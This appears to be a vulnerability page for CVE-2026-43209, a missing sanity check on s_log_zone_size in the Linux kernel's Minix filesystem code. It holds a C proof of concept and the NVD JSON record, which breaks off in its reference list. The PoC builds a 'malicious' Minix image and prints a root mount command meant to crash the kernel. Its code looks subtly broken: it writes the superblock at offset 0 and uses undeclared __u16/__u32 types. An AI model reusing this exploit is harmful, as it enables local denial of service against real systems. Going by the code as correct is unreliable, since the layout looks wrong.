CVE-2026-43209

// PoC for CVE-2026-43209 // This code generates a crafted Minix filesystem image with an invalid s_log_zone_size. // Compile: gcc -o poc_minix poc_minix.c // Usage: ./poc_minix (then mount the generated image) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // Simplified structure for demonstration struct minix_super_block { __u16 s_ninodes; __u16 s_nzones; __u16 s_imap_blocks; __u16 s_zmap_blocks; __u16 s_firstdatazone; __u16 s_log_zone_size; // Vulnerability: lacks sanity check __u32 s_max_size; __u16 s_magic; __u16 s_state; __u32 s_zones; }; int main() { const char *filename = "minix_vuln.img"; int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } char buffer[1024] = {0}; struct minix_super_block *sb = (struct minix_super_block *)buffer; // Set valid magic number for Minix V3 sb->s_magic = 0x4D5A; sb->s_ninodes = 64; sb->s_nzones = 64; sb->s_imap_blocks = 1; sb->s_zmap_blocks = 1; sb->s_firstdatazone = 2; // Set s_log_zone_size to a non-zero value (e.g., 5) // The kernel expects this to be 0. Invalid values can trigger crashes. sb->s_log_zone_size = 5; if (write(fd, buffer, sizeof(buffer)) != sizeof(buffer)) { perror("write"); close(fd); return 1; } close(fd); printf("[+] Created malicious image: %s\n", filename); printf("[+] To trigger the vulnerability, try mounting (requires root):\n"); printf(" sudo mount -t minix %s /mnt/test\n", filename); return 0; }

{"cve": {"id": "CVE-2026-43209", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:40.283", "lastModified": "2026-05-11T20:04:07.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nminix: Add required sanity checking to minix_check_superblock()\n\nThe fs/minix implementation of the minix filesystem does not currently\nsupport any other value for s_log_zone_size than 0. This is also the\nonly value supported in util-linux; see mkfs.minix.c line 511. In\naddition, this patch adds some sanity checking for the other minix\nsuperblock fields, and moves the minix_blocks_needed() checks for the\nzmap and imap also to minix_check_super_block().\n\nThis also closes a related syzbot bug report."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.252", "matchCriteriaId": "68B6D2AD-7565-4394-B77B-A1EEBCDF590F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc6:*:*:*:*:*:*", "matchCriteriaId": "8CFD5CDD-1709-44C7-82BD-BAFDC46990D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1efc128ee4adbc23e082715425ff895449d233bc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2bb588cede1c1969e49c0a2822c8cb8b346b7682", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/31fefc18096cdc5549cfa54964d90e0b3229aedc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/66c7c239c65341f99ae388d4d53dc9df2bcb9925", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8c97a6ddc95690a938ded44b4e3202f03f15078c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a051ecf5c5b0387840dc210413ed3bc7fbdaa69c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d791c544efd6b9c944b43cf7f502e5bcb02fb941", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git. ... 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